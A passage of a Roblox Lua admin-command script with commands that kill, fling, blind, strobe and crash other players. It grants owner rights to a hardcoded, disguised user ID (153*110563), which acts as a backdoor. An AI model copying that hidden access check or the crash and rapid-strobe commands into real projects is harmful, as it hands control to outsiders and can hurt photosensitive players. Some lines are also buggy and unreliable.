  1625. end
  1626. end))
  1627. end
  1628. end
  1629.  
  1630. if msg:lower():sub(1,8) == "seizure " then
  1631. local plrz = GetPlr(plr, msg:lower():sub(9))
  1632. for i, v in pairs(plrz) do
  1633. coroutine.resume(coroutine.create(function()
  1634. if v and v.Character then
  1635. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1636. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1637. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1638. end
  1639. end))
  1640. end
  1641. end
  1642.  
  1643. if msg:lower():sub(1,10) == "unseizure " then
  1644. local plrz = GetPlr(plr, msg:lower():sub(11))
  1645. for i, v in pairs(plrz) do
  1646. coroutine.resume(coroutine.create(function()
  1647. if v and v.Character then
  1648. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1649. wait(.1) v.Character.Humanoid.PlatformStand = false
  1650. end
  1651. end))
  1652. end
  1653. end
  1654.  
  1655. if msg:lower():sub(1,12) == "removelimbs " then
  1656. local plrz = GetPlr(plr, msg:lower():sub(13))
  1657. for i, v in pairs(plrz) do
  1658. coroutine.resume(coroutine.create(function()
  1659. if v and v.Character then
  1660. for a, obj in pairs(v.Character:children()) do
  1661. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1662. end
  1663. end
  1664. end))
  1665. end
  1666. end
  1667.  
  1668. if msg:lower():sub(1,5) == "name " then
  1669. local chk1 = msg:lower():sub(6):find(" ") + 5
  1670. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1671. for i, v in pairs(plrz) do
  1672. coroutine.resume(coroutine.create(function()
  1673. if v and v.Character and v.Character:findFirstChild("Head") then
  1674. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1675. local char = v.Character
  1676. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1677. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1678. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1679. char.Head.Transparency = 1
  1680. end
  1681. end))
  1682. end
  1683. end
  1684.  
  1685. if msg:lower():sub(1,7) == "unname " then
  1686. local plrz = GetPlr(plr, msg:lower():sub(8))
  1687. for i, v in pairs(plrz) do
  1688. coroutine.resume(coroutine.create(function()
  1689. if v and v.Character and v.Character:findFirstChild("Head") then
  1690. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1691. end
  1692. end))
  1693. end
  1694. end
  1695.  
  1696. if msg:lower():sub(1,5) == "char " then
  1697. local chk1 = msg:lower():sub(6):find(" ") + 5
  1698. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1699. for i, v in pairs(plrz) do
  1700. coroutine.resume(coroutine.create(function()
  1701. if v and v.Character then
  1702. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1703. v:LoadCharacter()
  1704. end
  1705. end))
  1706. end
  1707. end
  1708.  
  1709. if msg:lower():sub(1,7) == "unchar " then
  1710. local plrz = GetPlr(plr, msg:lower():sub(8))
  1711. for i, v in pairs(plrz) do
  1712. coroutine.resume(coroutine.create(function()
  1713. if v and v.Character then
  1714. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1715. v:LoadCharacter()
  1716. end
  1717. end))
  1718. end
  1719. end
  1720.  
  1721. if msg:lower():sub(1,7) == "infect " then
  1722. local plrz = GetPlr(plr, msg:lower():sub(8))
  1723. for i, v in pairs(plrz) do
  1724. coroutine.resume(coroutine.create(function()
  1725. if v and v.Character then
  1726. Infect(v.Character)
  1727. end
  1728. end))
  1729. end
  1730. end
  1731.  
  1732. if msg:lower():sub(1,11) == "rainbowify " then
  1733. local plrz = GetPlr(plr, msg:lower():sub(12))
  1734. for i, v in pairs(plrz) do
  1735. coroutine.resume(coroutine.create(function()
  1736. if v and v.Character and v.Character:findFirstChild("Torso") then
  1737. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1738. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1739. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1740. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1741. cl.Parent = v.Character cl.Disabled = false
  1742. end
  1743. end))
  1744. end
  1745. end
  1746.  
  1747. if msg:lower():sub(1,9) == "flashify " then
  1748. local plrz = GetPlr(plr, msg:lower():sub(10))
  1749. for i, v in pairs(plrz) do
  1750. coroutine.resume(coroutine.create(function()
  1751. if v and v.Character and v.Character:findFirstChild("Torso") then
  1752. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1753. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1754. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1755. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1756. cl.Parent = v.Character cl.Disabled = false
  1757. end
  1758. end))
  1759. end
  1760. end
  1761.  
  1762. if msg:lower():sub(1,8) == "noobify " then
  1763. local plrz = GetPlr(plr, msg:lower():sub(9))
  1764. for i, v in pairs(plrz) do
  1765. coroutine.resume(coroutine.create(function()
  1766. if v and v.Character then
  1767. Noobify(v.Character)
  1768. end
  1769. end))
  1770. end
  1771. end
  1772.  
  1773. if msg:lower():sub(1,9) == "ghostify " then
  1774. local plrz = GetPlr(plr, msg:lower():sub(10))
  1775. for i, v in pairs(plrz) do
  1776. coroutine.resume(coroutine.create(function()
  1777. if v and v.Character and v.Character:findFirstChild("Torso") then
  1778. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1779. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1780. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1781. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1782. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1783. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1784. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1785. end end
  1786. end
  1787. end))
  1788. end
  1789. end
  1790.  
  1791. if msg:lower():sub(1,8) == "goldify " then
  1792. local plrz = GetPlr(plr, msg:lower():sub(9))
  1793. for i, v in pairs(plrz) do
  1794. coroutine.resume(coroutine.create(function()
  1795. if v and v.Character and v.Character:findFirstChild("Torso") then
  1796. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1797. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1798. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1799. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1800. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1801. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1802. end end
  1803. end
  1804. end))
  1805. end
  1806. end
  1807.  
  1808. if msg:lower():sub(1,6) == "shiny " then
  1809. local plrz = GetPlr(plr, msg:lower():sub(7))
  1810. for i, v in pairs(plrz) do
  1811. coroutine.resume(coroutine.create(function()
  1812. if v and v.Character and v.Character:findFirstChild("Torso") then
  1813. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1814. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1815. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1816. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1817. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  1818. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1819. end end
  1820. end
  1821. end))
  1822. end
  1823. end
  1824.  
  1825. if msg:lower():sub(1,7) == "normal " then
  1826. local plrz = GetPlr(plr, msg:lower():sub(8))
  1827. for i, v in pairs(plrz) do
  1828. coroutine.resume(coroutine.create(function()
  1829. if v and v.Character and v.Character:findFirstChild("Torso") then
  1830. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  1831. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1832. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1833. v.Character.Torso.Transparency = 0
  1834. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1835. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1836. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1837. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1838. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1839. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1840. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1841. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  1842. if prt.Name == "FAKETORSO" then prt:Destroy() end
  1843. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  1844. end end
  1845. end
  1846. end))
  1847. end
  1848. end
  1849.  
  1850. if msg:lower():sub(1,7) == "trippy " then
  1851. local plrz = GetPlr(plr, msg:lower():sub(8))
  1852. for i, v in pairs(plrz) do
  1853. coroutine.resume(coroutine.create(function()
  1854. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  1855. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1856. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  1857. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1858. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  1859. end
  1860. end))
  1861. end
  1862. end
  1863.  
  1864. if msg:lower():sub(1,9) == "untrippy " then
  1865. local plrz = GetPlr(plr, msg:lower():sub(10))
  1866. for i, v in pairs(plrz) do
  1867. coroutine.resume(coroutine.create(function()
  1868. if v and v:findFirstChild("PlayerGui") then
  1869. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  1870. end
  1871. end))
  1872. end
  1873. end
  1874.  
  1875. if msg:lower():sub(1,7) == "strobe " then
  1876. local plrz = GetPlr(plr, msg:lower():sub(8))
  1877. for i, v in pairs(plrz) do
  1878. coroutine.resume(coroutine.create(function()
  1879. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  1880. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1881. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  1882. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1883. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  1884. end
  1885. end))
  1886. end
  1887. end
  1888.  
  1889. if msg:lower():sub(1,9) == "unstrobe " then
  1890. local plrz = GetPlr(plr, msg:lower():sub(10))
  1891. for i, v in pairs(plrz) do
  1892. coroutine.resume(coroutine.create(function()
  1893. if v and v:findFirstChild("PlayerGui") then
  1894. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  1895. end
  1896. end))
  1897. end
  1898. end
  1899.  
  1900. if msg:lower():sub(1,6) == "blind " then
  1901. local plrz = GetPlr(plr, msg:lower():sub(7))
  1902. for i, v in pairs(plrz) do
  1903. coroutine.resume(coroutine.create(function()
  1904. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  1905. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1906. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  1907. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1908. end
  1909. end))
  1910. end
  1911. end
  1912.  
  1913. if msg:lower():sub(1,8) == "unblind " then
  1914. local plrz = GetPlr(plr, msg:lower():sub(9))
  1915. for i, v in pairs(plrz) do
  1916. coroutine.resume(coroutine.create(function()
  1917. if v and v:findFirstChild("PlayerGui") then
  1918. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  1919. end
  1920. end))
  1921. end
  1922. end
  1923.  
  1924. if msg:lower():sub(1,7) == "guifix " then
  1925. local plrz = GetPlr(plr, msg:lower():sub(8))
  1926. for i, v in pairs(plrz) do
  1927. coroutine.resume(coroutine.create(function()
  1928. if v and v:findFirstChild("PlayerGui") then
  1929. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1930. end
  1931. end))
  1932. end
  1933. end
  1934.  
  1935. if msg:lower():sub(1,9) == "loopheal " then
  1936. local plrz = GetPlr(plr, msg:lower():sub(10))
  1937. for i, v in pairs(plrz) do
  1938. if v then
  1939. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  1940. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1941. repeat wait()
  1942. coroutine.resume(coroutine.create(function()
  1943. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  1944. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  1945. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  1946. end
  1947. end))
  1948. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1949. end
  1950. end
  1951. end
  1952.  
  1953. if msg:lower():sub(1,11) == "unloopheal " then
  1954. local plrz = GetPlr(plr, msg:lower():sub(12))
  1955. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1956. end
  1957.  
  1958. if msg:lower():sub(1,10) == "loopfling " then
  1959. local plrz = GetPlr(plr, msg:lower():sub(11))
  1960. for i, v in pairs(plrz) do
  1961. if v then
  1962. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  1963. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1964. repeat
  1965. coroutine.resume(coroutine.create(function()
  1966. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  1967. local xran local zran
  1968. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1969. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1970. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  1971. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1972. end
  1973. end))
  1974. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1975. end
  1976. end
  1977. end
  1978.  
  1979. if msg:lower():sub(1,12) == "unloopfling " then
  1980. local plrz = GetPlr(plr, msg:lower():sub(13))
  1981. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1982. end
  1983.  
  1984. end
  1985.  
  1986. -------------------------
  1987. -- True Owner Commands --
  1988. -------------------------
  1989.  
  1990. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  1991.  
  1992. if msg:lower():sub(1,3) == "oa " then
  1993. local plrz = GetPlr(plr, msg:lower():sub(4))
  1994. for i, v in pairs(plrz) do
  1995. coroutine.resume(coroutine.create(function()
  1996. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  1997. end))
  1998. end
  1999. end
  2000.  
  2001. if msg:lower():sub(1,5) == "unoa " then
  2002. for i = 1, #owners do
  2003. coroutine.resume(coroutine.create(function()
  2004. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2005. end))
  2006. end
  2007. end
  2008.  
  2009. if msg:lower() == "settings" then
  2010. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  2011. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  2012. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  2013. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  2014. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  2015. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  2016. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  2017. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  2018. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  2019. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  2020. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  2021. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2022. end
  2023.  
  2024. end
  2025.  
  2026. --------------------
  2027. -- Owner Commands --
  2028. --------------------
  2029.  
  2030. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2031.  
  2032. if msg:lower():sub(1,3) == "pa " then
  2033. local plrz = GetPlr(plr, msg:lower():sub(4))
  2034. for i, v in pairs(plrz) do
  2035. coroutine.resume(coroutine.create(function()
  2036. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2037. end))
  2038. end
  2039. end
  2040.  
  2041. if msg:lower():sub(1,5) == "unpa " then
  2042. for i = 1, #admins do
  2043. coroutine.resume(coroutine.create(function()
  2044. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2045. end))
  2046. end
  2047. end
  2048.  
  2049. if msg:lower():sub(1,5) == "nuke " then
  2050. local plrz = GetPlr(plr, msg:lower():sub(6))
  2051. for i, v in pairs(plrz) do
  2052. coroutine.resume(coroutine.create(function()
  2053. if v and v.Character and v.Character:findFirstChild("Torso") then
  2054. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  2055. p.Anchored = true
  2056. p.CanCollide = false
  2057. p.formFactor = "Symmetric"
  2058. p.Shape = "Ball"
  2059. p.Size = Vector3.new(1,1,1)
  2060. p.BrickColor = BrickColor.new("New Yeller")
  2061. p.Transparency = .5
  2062. p.Reflectance = .2
  2063. p.TopSurface = 0
  2064. p.BottomSurface = 0
  2065. p.Touched:connect(function(hit)
  2066. if hit and hit.Parent then
  2067. local ex = Instance.new("Explosion", game.Workspace)
  2068. ex.Position = hit.Position
  2069. ex.BlastRadius = 11
  2070. ex.BlastPressure = math.huge
  2071. end
  2072. end)
  2073. local cf = v.Character.Torso.CFrame
  2074. p.CFrame = cf
  2075. for i = 1, 333 do
  2076. p.Size = p.Size + Vector3.new(3,3,3)
  2077. p.CFrame = cf
  2078. wait(1/44)
  2079. end
  2080. p:Destroy()
  2081. end
  2082. end))
  2083. end
  2084. end
  2085.  
  2086. end
  2087.  
  2088. --------------------------
  2089. -- Super Admin Commands --
  2090. --------------------------
  2091.  
  2092. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2093.  
  2094. if msg:lower() == "logs" then
  2095. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2096. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2097. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2098. end
  2099.  
  2100. if msg:lower():sub(1,9) == "loopkill " then
  2101. local chk1 = msg:lower():sub(10):find(" ")
  2102. local plrz = GetPlr(plr, msg:lower():sub(10))
  2103. local num = 9999
  2104. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2105. for i, v in pairs(plrz) do
  2106. if v and not ChkAdmin(v.Name, false) then
  2107. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2108. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2109. for i = 1, ]] .. tostring(num) .. [[ do
  2110. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2111. coroutine.resume(coroutine.create(function()
  2112. if plr and plr.Character then plr.Character:BreakJoints() end
  2113. end))
  2114. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2115. end
  2116. end
  2117. end
  2118.  
  2119. if msg:lower():sub(1,11) == "unloopkill " then
  2120. local plrz = GetPlr(plr, msg:lower():sub(12))
  2121. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2122. end
  2123.  
  2124. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2125. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2126.  
  2127. if msg:lower():sub(1,3) == "sm " then
  2128. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2129. end
  2130.  
  2131. if msg:lower():sub(1,3) == "ko " then
  2132. local chk1 = msg:lower():sub(4):find(" ") + 3
  2133. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2134. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2135. for n = 1, num do
  2136. for i, v in pairs(plrz) do
  2137. coroutine.resume(coroutine.create(function()
  2138. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  2139. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2140. v.Character:BreakJoints()
  2141. wait(1/44)
  2142. v:LoadCharacter()
  2143. wait(1/44)
  2144. end
  2145. end))
  2146. end
  2147. end
  2148. end
  2149.  
  2150. if msg:lower():sub(1,6) == "crash " then
  2151. local plrz = GetPlr(plr, msg:lower():sub(7))
  2152. for i, v in pairs(plrz) do
  2153. coroutine.resume(coroutine.create(function()
  2154. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2155. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2156. end
  2157. end))
  2158. end
  2159. end
  2160.  
  2161. if msg:lower():sub(1,5) == "kick " then
